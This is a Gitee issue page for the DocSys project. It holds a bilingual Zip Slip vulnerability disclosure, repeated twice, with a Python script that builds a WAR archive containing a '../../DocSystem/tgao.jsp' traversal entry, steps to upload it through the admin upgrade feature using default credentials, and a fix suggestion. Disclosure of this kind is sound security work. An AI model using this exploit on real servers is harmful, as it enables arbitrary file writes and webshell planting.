登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
登录
注册
9月17日,Gitee Xtreme 极智AI重磅发布,来Gitee直播间一起探索AI时代的软件研发新模式
代码拉取完成,页面将自动刷新
开源项目
>
应用工具
>
文件管理工具
&&
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
957
Star
3.9K
Fork
1.3K
Rainy
/
DocSys
代码
Issues
29
Pull Requests
0
Wiki
统计
流水线
服务
JavaDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
【缺陷】Zip Slip vulnerability
已完成
#I65IYU
TGAO
创建于
2022-12-09 16:57
# Instructions in English ## Description There is a Zip Slip vulnerability in the MxsDoc(DocSys) application that can cause malicious jsp files to be uploaded. The vulnerability is located in the BaseController.java file, where the unZip method did not Check "... /". This vulnerability can also be triggered by the upgradeSystem method of the ManageController.java file. Writes a malicious jsp file to the web directory. ## Impact 1. Affected version: less than or equal to DocSys_V2.02.37(latest version) 2. Condition of utilization:The administrator or super administrator rights are required 3. Impact:A zip slip vulnerability in this system can result in getshell ## Code Audit In `com.DocSystem.Controller.BaseController#unZip` method exists in the following code snippet:  The value of `entry.getName()` is controllable. Inject "`.. /`", you can write the malicious jsp file to the web root. Looking for a trigger point, found in `com.DocSystem.Controller.ManageController#upgradeSystem` method triggers the `com.DocSystem.Controller.BaseController#unZip` method. The key code is as follows:  ## Steps to reproduce ### Application Installation This system is available on both github and gitee, but there is a war package on github for easy deployment. The download address is as follows: https://github.com/RainyGao-GitHub/DocSys/releases  After downloading DocSystem.war, unzip it, store it in the tomcat webapps directory, and modify the database configuration file jdbc.properties: ``` db.type=mysql db.driver=com.mysql.cj.jdbc.Driver db.url=jdbc:mysql://localhost:3306/DocSystem1?useUnicode=true&characterEncoding=UTF-8&serverTimezone=UTC db.username=root db.password=root ``` After the success of the start tomcat, visit http://localhost:8080/DocSystem/web/index.html During application initialization, you need to create a system administrator: admin/admin123 ### Create malicious compressed files tgao.jsp file contents: ```jsp <html> <body> <% out.println("zip slip getshell."); %> </body> </html> ``` Write a python script to compress the jsp file contents into DocSystem.war and specify the name as `../../DocSystem/tgao.jsp`, which corresponds to `entry.getName()` in the source code. ```python import zipfile if __name__ == "__main__": try: zipFile = zipfile.ZipFile("DocSystem.war", "a", zipfile.ZIP_DEFLATED) ##生成的zip文件 info = zipfile.ZipInfo("DocSystem.war") zipFile.write("D:/tgao/pass/tgao.jsp", "../../DocSystem/tgao.jsp", zipfile.ZIP_DEFLATED) ##压缩的文件和在zip中显示的文件名 zipFile.close() except IOError as e: raise e ``` Run the python script to generate the DocSystem.war file ### Exploitation of vulnerabilities After using the admin/admin123 login system,go to http://localhost:8080/DocSystem/manager/main.html  Click the Upgrade button and upload the malicious compressed file DocSystem.war  Click the Confirm button,Visit: http://localhost:8080/DocSystem/tgao.jsp  The tgao.jsp file was successfully written. ## Bug Repair Suggestions Check whether the contents returned by `entry.getName()` exist "`../`" and intercept # 中文说明 ## 漏洞描述 MxsDoc(DocSys)中存在一个Zip Slip漏洞,可导致上传恶意jsp文件。漏洞位于BaseController.java文件,其中unZip方法解压文件时未对`../` 进行检测,导致Zip Slip漏洞存在,另外可通过ManageController.java文件的upgradeSystem方法触发此漏洞。可导致像web目录写入恶意jsp文件。 ## 漏洞影响 影响版本:小于等于DocSys_V2.02.37(最新版本) 利用条件:需要管理员权限登录 危害:此系统的zip slip可导致getshell ## 漏洞发现 在com.DocSystem.controller.BaseController#unZip方法中存在如下代码片段  其中entry.getName()的值是可控的,通过../可以将恶意jsp文件写到web根目录。 寻找触发点,发现在com.DocSystem.controller.ManageController#upgradeSystem方法中触发了com.DocSystem.controller.BaseController#unZip方法 关键代码如下:  ## 漏洞复现 ### 制作恶意压缩包 tgao.jsp文件内容: ```java <html> <body> <% out.println("zip slip getshell."); %> </body> </html> ``` 编写python脚本将jsp文件内容内容压缩至DocSystem.war中,并指定name为`../../DocSystem/tgao.jsp`,此值对应源码中的entry.getName()内容 ``` import zipfile if __name__ == "__main__": try: zipFile = zipfile.ZipFile("DocSystem.war", "a", zipfile.ZIP_DEFLATED) ##生成的zip文件 info = zipfile.ZipInfo("DocSystem.war") zipFile.write("D:/tgao/pass/tgao.jsp", "../../DocSystem/tgao.jsp", zipfile.ZIP_DEFLATED) ##压缩的文件和在zip中显示的文件名 zipFile.close() except IOError as e: raise e ``` 运行之后生成DocSystem.war文件 ### 漏洞利用 利用zip slip漏洞可以向服务器中任何有写权限的目录写任何文件,若文件存在将会直接覆盖,这里为了有直接的效果,演示向web目录写入jsp文件,具体如下: 使用admin/admin123登录系统后访问: http://localhost:8080/DocSystem/manager/main.html  点击系统升级,上传制作完成的恶意压缩文件DocSystem.war  点击确认即可. 访问:http://localhost:8080/DocSystem/tgao.jsp  tgao.jsp成功被写入。 ## 修复建议 检查entry.getName()是否存在../并拦截
# Instructions in English ## Description There is a Zip Slip vulnerability in the MxsDoc(DocSys) application that can cause malicious jsp files to be uploaded. The vulnerability is located in the BaseController.java file, where the unZip method did not Check "... /". This vulnerability can also be triggered by the upgradeSystem method of the ManageController.java file. Writes a malicious jsp file to the web directory. ## Impact 1. Affected version: less than or equal to DocSys_V2.02.37(latest version) 2. Condition of utilization:The administrator or super administrator rights are required 3. Impact:A zip slip vulnerability in this system can result in getshell ## Code Audit In `com.DocSystem.Controller.BaseController#unZip` method exists in the following code snippet:  The value of `entry.getName()` is controllable. Inject "`.. /`", you can write the malicious jsp file to the web root. Looking for a trigger point, found in `com.DocSystem.Controller.ManageController#upgradeSystem` method triggers the `com.DocSystem.Controller.BaseController#unZip` method. The key code is as follows:  ## Steps to reproduce ### Application Installation This system is available on both github and gitee, but there is a war package on github for easy deployment. The download address is as follows: https://github.com/RainyGao-GitHub/DocSys/releases  After downloading DocSystem.war, unzip it, store it in the tomcat webapps directory, and modify the database configuration file jdbc.properties: ``` db.type=mysql db.driver=com.mysql.cj.jdbc.Driver db.url=jdbc:mysql://localhost:3306/DocSystem1?useUnicode=true&characterEncoding=UTF-8&serverTimezone=UTC db.username=root db.password=root ``` After the success of the start tomcat, visit http://localhost:8080/DocSystem/web/index.html During application initialization, you need to create a system administrator: admin/admin123 ### Create malicious compressed files tgao.jsp file contents: ```jsp <html> <body> <% out.println("zip slip getshell."); %> </body> </html> ``` Write a python script to compress the jsp file contents into DocSystem.war and specify the name as `../../DocSystem/tgao.jsp`, which corresponds to `entry.getName()` in the source code. ```python import zipfile if __name__ == "__main__": try: zipFile = zipfile.ZipFile("DocSystem.war", "a", zipfile.ZIP_DEFLATED) ##生成的zip文件 info = zipfile.ZipInfo("DocSystem.war") zipFile.write("D:/tgao/pass/tgao.jsp", "../../DocSystem/tgao.jsp", zipfile.ZIP_DEFLATED) ##压缩的文件和在zip中显示的文件名 zipFile.close() except IOError as e: raise e ``` Run the python script to generate the DocSystem.war file ### Exploitation of vulnerabilities After using the admin/admin123 login system,go to http://localhost:8080/DocSystem/manager/main.html  Click the Upgrade button and upload the malicious compressed file DocSystem.war  Click the Confirm button,Visit: http://localhost:8080/DocSystem/tgao.jsp  The tgao.jsp file was successfully written. ## Bug Repair Suggestions Check whether the contents returned by `entry.getName()` exist "`../`" and intercept # 中文说明 ## 漏洞描述 MxsDoc(DocSys)中存在一个Zip Slip漏洞,可导致上传恶意jsp文件。漏洞位于BaseController.java文件,其中unZip方法解压文件时未对`../` 进行检测,导致Zip Slip漏洞存在,另外可通过ManageController.java文件的upgradeSystem方法触发此漏洞。可导致像web目录写入恶意jsp文件。 ## 漏洞影响 影响版本:小于等于DocSys_V2.02.37(最新版本) 利用条件:需要管理员权限登录 危害:此系统的zip slip可导致getshell ## 漏洞发现 在com.DocSystem.controller.BaseController#unZip方法中存在如下代码片段  其中entry.getName()的值是可控的,通过../可以将恶意jsp文件写到web根目录。 寻找触发点,发现在com.DocSystem.controller.ManageController#upgradeSystem方法中触发了com.DocSystem.controller.BaseController#unZip方法 关键代码如下:  ## 漏洞复现 ### 制作恶意压缩包 tgao.jsp文件内容: ```java <html> <body> <% out.println("zip slip getshell."); %> </body> </html> ``` 编写python脚本将jsp文件内容内容压缩至DocSystem.war中,并指定name为`../../DocSystem/tgao.jsp`,此值对应源码中的entry.getName()内容 ``` import zipfile if __name__ == "__main__": try: zipFile = zipfile.ZipFile("DocSystem.war", "a", zipfile.ZIP_DEFLATED) ##生成的zip文件 info = zipfile.ZipInfo("DocSystem.war") zipFile.write("D:/tgao/pass/tgao.jsp", "../../DocSystem/tgao.jsp", zipfile.ZIP_DEFLATED) ##压缩的文件和在zip中显示的文件名 zipFile.close() except IOError as e: raise e ``` 运行之后生成DocSystem.war文件 ### 漏洞利用 利用zip slip漏洞可以向服务器中任何有写权限的目录写任何文件,若文件存在将会直接覆盖,这里为了有直接的效果,演示向web目录写入jsp文件,具体如下: 使用admin/admin123登录系统后访问: http://localhost:8080/DocSystem/manager/main.html  点击系统升级,上传制作完成的恶意压缩文件DocSystem.war  点击确认即可. 访问:http://localhost:8080/DocSystem/tgao.jsp  tgao.jsp成功被写入。 ## 修复建议 检查entry.getName()是否存在../并拦截
评论 (
2
)
登录
后才可以发表评论
状态
已完成
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (2)
标签 (204)
master
devInt
DocSys_V2.02.76
DocSys_V2.02.75
DocSys_V2.02.74
DocSys_V2.02.73
DocSys_V2.02.72
DocSys_V2.02.71
DocSys_V2.02.70
DocSys_V2.02.69
DocSys_V2.02.68
DocSys_V2.02.67
DocSys_V2.02.66
DocSys_V2.02.65
DocSys_V2.02.64
DocSys_V2.02.63
DocSys_V2.02.62
DocSys_V2.02.61
DocSys_V2.02.60
DocSys_V2.02.59
DocSys_V2.02.58
DocSys_V2.02.57
DocSys_V2.02.56
DocSys_V2.02.55
DocSys_V2.02.54
DocSys_V2.02.53
DocSys_V2.02.52
DocSys_V2.02.51
DocSys_V2.02.50
DocSys_V2.02.49
DocSys_V2.02.48
DocSys_V2.02.47
DocSys_V2.02.46
DocSys_V2.02.45
DocSys_V2.02.44
DocSys_V2.02.43
DocSys_V2.02.42
DocSys_V2.02.41
DocSys_V2.02.40
DocSys_V2.02.39
DocSys_V2.02.38
DocSys_V2.02.37
DocSys_V2.02.36
DocSys_V2.02.35
DocSys_V2.02.34
DocSys_V2.02.33
DocSys_V2.02.32
DocSys_V2.02.31
DocSys_V2.02.30
DocSys_V2.02.29
DocSys_V2.02.28
DocSys_V2.02.27
DocSys_V2.02.26
DocSys_V2.02.25
DocSys_V2.02.24
DocSys_V2.02.23
DocSys_V2.02.22
DocSys_V2.02.21
DocSys_V2.02.20
DocSys_V2.02.19
DocSys_V2.02.18
DocSys_V2.02.17
DocSys_V2.02.16
DocSys_V2.02.15
DocSys_V2.02.14
DocSys_V2.02.13
DocSys_V2.02.12
DocSys_V2.02.11
DocSys_V2.02.10
DocSys_V2.02.09
DocSys_V2.02.08
DocSys_V2.02.07
DocSys_V2.02.06
DocSys_V2.02.05
DocSys_V2.02.04
DocSys_V2.02.03
DocSys_V2.02.02
DocSys_V2.02.01
DocSys_V2.02.00
DocSys_V2.01.99
DocSys_V2.01.98
DocSys_V2.01.97
DocSys_V2.01.96
DocSys_V2.01.95
DocSys_V2.01.94
DocSys_V2.01.93
DocSys_V2.01.92
DocSys_V2.01.91
DocSys_V2.01.90
DocSys_V2.01.89
DocSys_V2.01.88
DocSys_V2.01.87
DocSys_V2.01.86
DocSys_V2.01.85
DocSys_V2.01.84
DocSys_V2.01.83
DocSys_V2.01.82
DocSys_V2.01.81
DocSys_V2.01.80
DocSys_V2.01.79
DocSys_V2.01.78
DocSys_V2.01.77
DocSys_V2.01.76
DocSys_V2.01.75
DocSys_V2.01.74
DocSys_V2.01.73
DocSys_V2.01.72
DocSys_V2.01.71
DocSys_V2.01.70
DocSys_V2.01.69
DocSys_V2.01.68
DocSys_V2.01.67
DocSys_V2.01.66
DocSys_V2.01.65
DocSys_V2.01.64
DocSys_V2.01.63
DocSys_V2.01.62
DocSys_V2.01.61
DocSys_V2.01.60
DocSys_V2.01.59
DocSys_V2.01.58
DocSys_V2.01.57
DocSys_V2.01.56
DocSys_V2.01.55
DocSys_V2.01.54
DocSys_V2.01.53
DocSys_V2.01.52
DocSys_V2.01.51
DocSys_V2.01.50
DocSys_V2.01.49
DocSys_V2.01.48
DocSys_V2.01.47
DocSys_V2.01.46
DocSys_V2.01.45
DocSys_V2.01.44
DocSys_V2.01.43
DocSys_V2.01.42
DocSys_V2.01.41
DocSys_V2.01.40
DocSys_V2.01.39
DocSys_V2.01.38
DocSys_V2.01.37
DocSys_V2.01.36
DocSys_V2.01.35
DocSys_V2.01.34
DocSys_V2.01.33
DocSys_V2.01.32
DocSys_V2.01.31
DocSys_V2.01.30
DocSys_V2.01.29
DocSys_V2.01.28
DocSys_V2.01.27
DocSys_V2.01.26
DocSys_V2.01.25
DocSys_V2.01.24
DocSys_V2.01.23
DocSys_V2.01.22
DocSys_V2.01.21
DocSys_V2.01.20
DocSys_V2.01.19
DocSys_V2.01.18
DocSys_V2.01.17
DocSys_V2.01.16
DocSys_V2.01.15
DocSys_V2.01.14
DocSys_V2.01.13
DocSys_V2.01.12
DocSys_V2.01.11
DocSys_V2.01.10
DocSys_V2.01.09
DocSys_V2.01.08
DocSys_V2.01.07
DocSys_V2.01.06
DocSys_V2.01.05
DocSys_V2.01.04
DocSys_V2.01.03
DocSys_V2.01.02
DocSys_V2.01.01
DocSys_V2.01
DocSys_V2.00.00
DocSys_V1.17.15
DocSys_V1.17.14
DocSys_V1.17.13
DocSys_V1.17.12
DocSys_V1.17.11
DocSys_V1.17.10
DocSys_V1.17.9
DocSys_V1.17.8
DocSys_V1.17
DocSys_V1.16
DocSys_V1.15
DocSys_V1.14
DocSys_V1.13
DocSys_V1.12
DocSys_V1.11
DocSys_V1.10
DocSys_V1.09
DocSys_V1.08
DocSys_V1.07
DocSys_V1.06
DocSys_V1.05
DocSys_V1.04
DocSys_V1.03
DocSys_V1.02
DocSys_V1.01
DocSys_V1.00
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
Java
1
https://gitee.com/RainyGao/DocSys.git
git@gitee.com:RainyGao/DocSys.git
RainyGao
DocSys
DocSys
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册